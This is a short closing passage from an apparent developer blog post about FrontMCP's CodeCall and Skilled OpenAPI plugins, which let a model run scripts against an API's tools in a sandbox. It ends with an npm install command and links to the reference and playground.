<a id="codecall-the-same-idea-for-your-own-tools"></a>

## CodeCall: the same idea, for your own tools

[CodeCall](https://frontmcp.dev/blog/codecall-plugin) applies code execution to the tools your server already has: the model searches them, reads their schemas, and sends one script to `codecall:execute`, which runs it through Enclave too. Skilled OpenAPI starts from an OpenAPI description instead, and adds what an API needs: skills with instructions, credentials the model never sees, and a rule for each operation.

<a id="try-it-on-your-own-api"></a>

## Try it on your own API

```bash
npm install @frontmcp/sdk@1.11.3 @frontmcp/adapters@1.11.3 @frontmcp/plugin-skilled-openapi@1.11.3 @enclave-vm/core @enclave-vm/ast
```

Point `compileSkilledBundleFromOpenApi()` at your API's OpenAPI description, write a skill for each job your users have, and give each skill instructions that say what to return. The [Skilled OpenAPI reference](https://frontmcp.dev/reference/plugins/skilled-openapi) has every option, and the [Playground](https://frontmcp.dev/playground) runs the server above with your changes.
